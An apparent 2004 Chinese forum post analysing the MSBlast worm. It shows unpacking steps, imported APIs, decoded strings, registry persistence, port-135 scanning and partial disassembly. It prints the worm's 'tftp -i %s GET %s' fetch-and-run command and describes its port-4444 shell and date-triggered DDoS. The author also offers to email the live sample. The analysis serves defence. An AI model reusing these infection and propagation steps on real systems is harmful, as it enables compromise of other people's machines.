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标题: 一份关于冲击波(MSBlast)蠕虫详细分析报告，搞服务器管理的希望看看 [打印本页]

作者: suncon 时间: 2004-1-8 09:41
标题: 一份关于冲击波(MSBlast)蠕虫详细分析报告，搞服务器管理的希望看看
一份关于冲击波(MSBlast)蠕虫详细分析报告，搞服务器管理的希望看看

查看MSBlast.exe，字节数为6176字节。利用Winhex查看MSBlast.exe十六进制，发现十六进制中包含UPX字符，从经验可以断定是利用UPX压缩，但还是利用language进行识别，判定的确为UPX加壳之后，利用UPXShell将MSBlast.exe进行脱壳之后字节数为11296字节。
蠕虫浅析
  利用W32dsm打开己脱壳的MSBlast.exe，可以从中分析蠕虫PE文件具体信息，对后面章节分析蠕虫有较大的帮助。
************************************反汇编MSBlast.exe***************************************
Disassembly of file: msblast.exe             *反汇编文件名称:msblast.exe
Code Offset = 00000400, Code Size = 00001458 *代码偏移量: 00000400,代码大小=00001458
Data Offset = 00001A00, Data Size = 0000088C *数据偏移量: 00001A00,数据大小=0000088C

Number of Objects = 0004 (dec), Imagebase = 00400000h
*对象共计= 0004 (dec), 基地址 = 00400000h

Object01: .text  RVA: 00001000 Offset: 00000400 Size: 00001458 Flags: 60000020
Object02: .bss RVA: 00003000 Offset: 00000000 Size: 00000000 Flags: C0000080
Object03: .data  RVA: 00004000 Offset: 00001A00 Size: 0000088C Flags: C0000040
Object04: .idata  RVA: 00005000 Offset: 00002400 Size: 000006C0 Flags: C0000060

*Object01: .text  相对虚拟地址: 00001000 偏移量: 00000400 大小: 00001458标记位: 60000020
*Object02: .bss  相对虚拟地址: 00003000 偏移量: 00000000 大小: 00000000标记位: C0000080
*Object03: .data  相对虚拟地址: 00004000 偏移量: 00001A00 大小: 0000088C标记位: C0000040
*Object04: .idata 相对虚拟地址: 00005000 偏移量: 00002400 大小: 000006C0标记位: C0000060
*文中含有*为解释部分仅供读者参考。
********************************************************************************************
  可以从以上的数据中获取蠕虫在内存中执行的数据，该蠕虫PE文件共分为4个区块,分别为text、bss、data、idata。脱壳后的蠕虫的入口点则为11CBh。

  MSBlast.exe蠕虫共调用5个DLL模块，53个Win32 API函数。5个DLL模块分别为KERNEL32.DLL、ADVAPI32.DLL、CRTDLL.DLL、WININET.DLL、WS2_32.DLL，53个Win32 API函数请参照以下反汇编数据。

********************************************************************************************
+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++
Number of Imported Modules =  5 (decimal)

Import Module 001: KERNEL32.DLL
Import Module 002: ADVAPI32.DLL
Import Module 003: CRTDLL.DLL
Import Module 004: WININET.DLL
Import Module 005: WS2_32.DLL

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

Import Module 001: KERNEL32.DLL

Addr:000053E8 hint(0000) Name: ExitProcess
Addr:000053F8 hint(0000) Name: ExitThread
Addr:00005408 hint(0000) Name: GetCommandLineA
Addr:0000541C hint(0000) Name: GetDateformatA
Addr:00005430 hint(0000) Name: GetLastError
Addr:00005440 hint(0000) Name: GetModuleFileNameA
Addr:00005458 hint(0000) Name: GetModuleHandleA
Addr:0000546C hint(0000) Name: CloseHandle
Addr:0000547C hint(0000) Name: GetTickCount
Addr:0000548C hint(0000) Name: RtlUnwind
Addr:00005498 hint(0000) Name: CreateMutexA
Addr:000054A8 hint(0000) Name: Sleep
Addr:000054B0 hint(0000) Name: TerminateThread
Addr:000054C4 hint(0000) Name: CreateThread

Import Module 002: ADVAPI32.DLL

Addr:000054D4 hint(0000) Name: RegCloseKey
Addr:000054E4 hint(0000) Name: RegCreateKeyExA
Addr:000054F8 hint(0000) Name: RegSetvalueExA

Import Module 003: CRTDLL.DLL

Addr:0000550C hint(0000) Name: __GetMainArgs
Addr:0000551C hint(0000) Name: atoi
Addr:00005524 hint(0000) Name: exit
Addr:0000552C hint(0000) Name: fclose
Addr:00005538 hint(0000) Name: fopen
Addr:00005540 hint(0000) Name: fread
Addr:00005548 hint(0000) Name: memcpy
Addr:00005554 hint(0000) Name: memset
Addr:00005560 hint(0000) Name: raise
Addr:00005568 hint(0000) Name: rand
Addr:00005570 hint(0000) Name: signal
Addr:0000557C hint(0000) Name: sprintf
Addr:00005588 hint(0000) Name: srand
Addr:00005590 hint(0000) Name: strchr
Addr:0000559C hint(0000) Name: strtok

Import Module 004: WININET.DLL

Addr:000053CC hint(0000) Name: InternetGetConnectedState

Import Module 005: WS2_32.DLL

Addr:000052C0 hint(0000) Name: htons
Addr:000052C8 hint(0000) Name: ioctlsocket
Addr:000052D8 hint(0000) Name: inet_addr
Addr:000052E4 hint(0000) Name: inet_ntoa
Addr:000052F0 hint(0000) Name: recvfrom
Addr:000052FC hint(0000) Name: select
Addr:00005308 hint(0000) Name: send
Addr:00005310 hint(0000) Name: sendto
Addr:0000531C hint(0000) Name: setsockopt
Addr:0000532C hint(0000) Name: socket
Addr:00005338 hint(0000) Name: gethostbyname
Addr:00005348 hint(0000) Name: bind
Addr:00005350 hint(0000) Name: gethostname
Addr:00005360 hint(0000) Name: closesocket
Addr:00005370 hint(0000) Name: WSAStartup
Addr:00005380 hint(0000) Name: WSACleanup
Addr:00005390 hint(0000) Name: connect
Addr:0000539C hint(0000) Name: getpeername
Addr:000053AC hint(0000) Name: getsockname
Addr:000053BC hint(0000) Name: WSASocketA

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0000 (decimal)

看完以上Win32 API函数，你也许就明白了蠕虫调用那些API函数，如要不太熟API函数可以参阅MSDN获取更详细的资料。了解API函数针对蠕虫每个动作就会非常熟悉。

  以上的分析为反汇编分析，而以下部分是利用Winhex查看蠕虫十六进制。因为MSBlast.EXE蠕虫变种并没有广泛流传，所以以下十六进制的分析内容与其它安全厂商专业人员分析的基本吻合。


********************************************************************************************
49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C 79 20 67 61 74 65 73 20 77 68 79 20 64 6F 20 79 6F 75 20 6D 61 6B 65 20 74 68 69 73 20 70 6F 73 73 69 62 6C 65 20 3F 20 53 74 6F 70 20 6D 61 6B 69 6E 67 20 6D 6F 6E 65 79 20 61 6E 64 20 66 69 78 20 79 6F 75 72 20 73 6F 66 74 77 61 72 65 21 21 00

*利用Winhex查看十六进制，发现偏移为00001A40的十六进制的ASCII转换为明文为:
I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 75 70 64 61 74 65 2E 63 6F 6D

*利用Winhex查看十六进制，发现偏移为000021E0的十六进制的ASCII转换为明文为:
windowsupdate.com
********************************************************************************************

********************************************************************************************
73 74 61 72 74 20 25 73 0A 00 74 66 74 70 20 2D 69 20 25 73 20 47 45 54 20 25 73

*利用Winhex查看十六进制。发现偏移为00002200的十六进制，其中%s为变量。ASCII转换为明文为:
start %s tftp -i %s GET %s
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 20 61 75 74 6F 20 75 70 64 61 74 65 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 52 75 6E

*利用Winhex查看十六进制。发现偏移为00002250的十六进制的ASCII转换为明文为:
windows auto update SOFTWARE\Microsoft\Windows\CurrentVersion\Run
********************************************************************************************

开始跟踪
  写这部分需要将蠕虫运行，虽然我只有一台公司笔记本电脑，里面却包含8G从网络收集的资料。前几天我还是忍痛将蠕虫在自己的笔记本上调试，只为了更仔细的分析蠕虫。开始运行蠕虫之前要准备好监视工具，看蠕虫会修改注册表、新增文件、开启端口等。

  运行MSBlast.exe蠕虫之后，利用Regshot监视注册表发现新增1处键值，键值为msblast.exe。我在运行的时候将MSBlast.exe放在C盘目录下，然写键值仍为msblast.exe，下次开机MSBlast.exe则不会自动运行。说明作者编写蠕虫时候键值并不是写入exe当前文件路径，而是指向system32目录下。我在测试过程中是这样的情况。而被感染蠕虫之后，MSBlast.exe文件都复制到对方的system32目录下，每次开机都会运行。
********************************************************************************************
增加值:1
----------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windows auto update: 6D 73 62 6C 61 73 74 2E 65 78 65 00 49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C
********************************************************************************************

  运行蠕虫之后创建mutex内核对象，蠕虫软件随机打开本地端口开始向外部IP发出20个syn扫描连接，  目标主机IP地址由蠕虫程式随机产生。
********************************************************************************************
TCP  192.168.0.23:4608 27.185.154.157:135 SYN_SENT
TCP  192.168.0.23:4609 27.185.154.158:135 SYN_SENT
TCP  192.168.0.23:4610 27.185.154.159:135 SYN_SENT
TCP  192.168.0.23:4611 27.185.154.160:135 SYN_SENT
TCP  192.168.0.23:4612 27.185.154.161:135 SYN_SENT
TCP  192.168.0.23:4613 27.185.154.162:135 SYN_SENT
TCP  192.168.0.23:4614 27.185.154.163:135 SYN_SENT
TCP  192.168.0.23:4615 27.185.154.164:135 SYN_SENT
TCP  192.168.0.23:4616 27.185.154.165:135 SYN_SENT
TCP  192.168.0.23:4617 27.185.154.166:135 SYN_SENT
TCP  192.168.0.23:4618 27.185.154.167:135 SYN_SENT
TCP  192.168.0.23:4619 27.185.154.168:135 SYN_SENT
TCP  192.168.0.23:4620 27.185.154.169:135 SYN_SENT
TCP  192.168.0.23:4621 27.185.154.170:135 SYN_SENT
TCP  192.168.0.23:4622 27.185.154.171:135 SYN_SENT
TCP  192.168.0.23:4623 27.185.154.172:135 SYN_SENT
TCP  192.168.0.23:4624 27.185.154.173:135 SYN_SENT
TCP  192.168.0.23:4625 27.185.154.174:135 SYN_SENT
TCP  192.168.0.23:4626 27.185.154.175:135 SYN_SENT
TCP  192.168.0.23:4627 27.185.154.176:135 SYN_SENT
********************************************************************************************

  蠕虫反汇编代码中有一段代码是: tftp -i %s GET %s，此段代码用来下载蠕虫。默认情况下tftp的服务器开启的端口为UDP/69，如果蠕虫程序溢出目标主机成功之后会绑定目标主机一个4444的端口，然后发送下载消息，目标主机通过tftp下载蠕虫再运行蠕虫。反复循环导致更多的计算机受到感染。
攻击失败之后PRC服务会停止，文件复制贴粘功能失效,com+属性页无法显示。也有可能会造成svchost.exe进程被关闭，导致计算机重新启动。

深入分析
  1、利用W32dsm反汇编脱壳后的MSBlast.exe,阅读其汇编代码，发现汇编代码中包含蠕虫写入注册表键值的动作。
********************************************************************************************
* Referenced by a CALL at Address:
|:004022B0
|
:00401250 55          push ebp
:00401251 89E5       mov ebp, esp
:00401253 81ECAC030000    sub esp, 000003AC
:00401259 56          push esi
:0040125A 57          push edi
:0040125B 31F6       xor esi, esi
:0040125D 6A00       push 00000000
:0040125F 8D45F8       lea eax, dword ptr [ebp-08]
:00401262 50          push eax
:00401263 6A00       push 00000000
:00401265 683F000F00    push 000F003F
:0040126A 6A00       push 00000000
:0040126C 6A00       push 00000000
:0040126E 6A00       push 00000000

* Possible StringData Ref from Data Obj -SOFTWARE\Microsoft\Windows\CurrentVersion\Run  //写入自启动项
               |
:00401270 685D484000    push 0040485D
:00401275 6802000080    push 80000002

* Reference To: ADVAPI32.RegCreateKeyExA, Ord:0000h //打开注册表主目录
               |
:0040127A E80D110000    Call 0040238C
:0040127F 6A32       push 00000032

* Possible StringData Ref from Data Obj -msblast.exe //键值数据
               |
:00401281 683C404000    push 0040403C
:00401286 6A01       push 00000001
:00401288 6A00       push 00000000

* Possible StringData Ref from Data Obj -windows auto update //键值名称
               |
:0040128A 6849484000    push 00404849
:0040128F FF75F8       push [ebp-08]

* Reference To: ADVAPI32.RegSetvalueExA, Ord:0000h //写注册表项
               |
:00401292 E801110000    Call 00402398
:00401297 FF75F8       push [ebp-08]

* Reference To: ADVAPI32.RegCloseKey, Ord:0000h //关闭注册表
               |
:0040129A E8E1100000    Call 00402380
********************************************************************************************

  2、蠕虫向目标主机发动溢出攻击的反汇编代码，因汇编代码较多不能全部列出，如果你需要蠕虫样本及反汇编代码，可以给我写信。
********************************************************************************************
* Reference To: WS2_32.sendto, Ord:0000h  //发送
               |
:004016AC E8FB0A0000    Call 004021AC
:004016B1 83F801       cmp eax, 00000001
:004016B4 7C22       jl 004016D8
:004016B6 6884030000    push 00000384
………………………

* Reference To: WS2_32.send, Ord:0000h //发送
               |
:00401B6D E82E060000    Call 004021A0
:00401B72 83F8FF       cmp eax, FFFFFFFF
:00401B75 0F84C0020000    je 00401E3B
:00401B7B 6A00       push 00000000
:00401B7D FFB5FCEFFFFF    push dword ptr [ebp+FFFFEFFC]
:00401B83 8D8500F0FFFF    lea eax, dword ptr [ebp+FFFFF000]
:00401B89 50          push eax
:00401B8A FF7508       push [ebp+08]

* Reference To: WS2_32.send, Ord:0000h //发送
               |
:00401B8D E80E060000    Call 004021A0
:00401B92 83F8FF       cmp eax, FFFFFFFF
:00401B95 0F84A0020000    je 00401E3B
:00401B9B FF7508       push [ebp+08]
………………………
* Reference To: WS2_32.send, Ord:0000h //发送
               |
:00401D21 E87A040000    Call 004021A0
:00401D26 83F801       cmp eax, 00000001
:00401D29 0F8CBC000000    jl 00401DEB
:00401D2F 68E8030000    push 000003E8
………………………
* Reference To: WS2_32.send, Ord:0000h //发送
               |
:004021A0 FF25E0514000    Jmp dword ptr [004051E0]
:004021A6 90          nop
:004021A7 90          nop
:004021A8 00000000       BYTE 4 DUP(0)
………………………
* Reference To: KERNEL32.CreateMutexA, Ord:0000h //创建Mutex内核对象
               |
:00402350 FF2554524000    Jmp dword ptr [00405254]
:00402356 90          nop
:00402357 90          nop
:00402358 00000000       BYTE 4 DUP(0)

*因蠕虫利用多线程技术,反汇编代码中包含较多Send代码，不能全部列出。但Call地址全部是 004021A0。
********************************************************************************************

  3、蠕虫如果溢出成功将向目标主机TCP/4444端口发送下载蠕虫自身的消息，本机开启UDP/69端口提供TFTP服务。用来感染更多的计算机。请参阅反汇编代码：
********************************************************************************************
* Possible StringData Ref from Data Obj -%i.%i.%i.%i //目标主机IP地址
               |
:00401803 682B484000    push 0040482B
:00401808 6800304000    push 00403000
………………………
* Possible StringData Ref from Data Obj -msblast.exe //程序文件名称
               |
:00401CE3 683C404000    push 0040403C
:00401CE8 6800304000    push 00403000

* Possible StringData Ref from Data Obj -tftp -i %s GET %s //发送消息下载蠕虫

               |
:00401CED 680C484000    push 0040480C
:00401CF2 8D85FCEDFFFF    lea eax, dword ptr [ebp+FFFFEDFC]
:00401CF8 50          push eax
********************************************************************************************

  4、从汇编代码中分析蠕虫判断系统时期是否为16日，就会向微软windowsupdata.com发动DDOS攻击。请参阅汇编源代码。
********************************************************************************************
* Reference To: KERNEL32.GetDateformatA, Ord:0000h //枚取时间格式
               |
:00401510 E8E70D0000    Call 004022FC
:00401515 6A03       push 00000003
:00401517 8D45F0       lea eax, dword ptr [ebp-10]
:0040151A 50          push eax

* Possible StringData Ref from Data Obj -Md.
               |
:0040151B 683A484000    push 0040483A
:00401520 6A00       push 00000000
:00401522 6A00       push 00000000
:00401524 6809040000    push 00000409

* Reference To: KERNEL32.GetDateformatA, Ord:0000h //枚取时间格式
               |
:00401529 E8CE0D0000    Call 004022FC
:0040152E 8D45F4       lea eax, dword ptr [ebp-0C]
:00401531 50          push eax
………………………
* Reference To: KERNEL32.GetDateformatA, Ord:0000h //枚取时间格式
               |
:004022FC FF2538524000    Jmp dword ptr [00405238]
:00402302 90          nop
:00402303 90          nop
:00402304 00000000       BYTE 4 DUP(0)
………………………
* Reference To: WININET.InternetGetConnectedState, Ord:0000h    // windowsupdate.com
         |
:0040131B E8280F0000    Call 00402248
:00401320 09C0       or eax, eax
:00401322 750C       jne 00401330
:00401324 68204E0000    push 00004E20
………………………
* Referenced by a CALL at Address:
|:0040131B
|
* Reference To: WININET.InternetGetConnectedState, Ord:0000h
               |
:00402248 FF2520524000    Jmp dword ptr [00405220]
:0040224E 90          nop
:0040224F 90          nop
:00402250 00000000       BYTE 4 DUP(0)
……………………..
* Reference To: WS2_32.connect, Ord:0000h
               |
:0040183B E8D8090000    Call 00402218
:00401840 47          inc edi
:00401841 83FF14       cmp edi, 00000014
:00401844 7CA0       jl 004017E6
:00401846 6808070000    push 00000708
……………………..
* Reference To: WS2_32.connect, Ord:0000h
               |
:00402218 FF2508524000    Jmp dword ptr [00405208]
:0040221E 90          nop
:0040221F 90          nop
:00402220 00000000       BYTE 4 DUP(0)
********************************************************************************************

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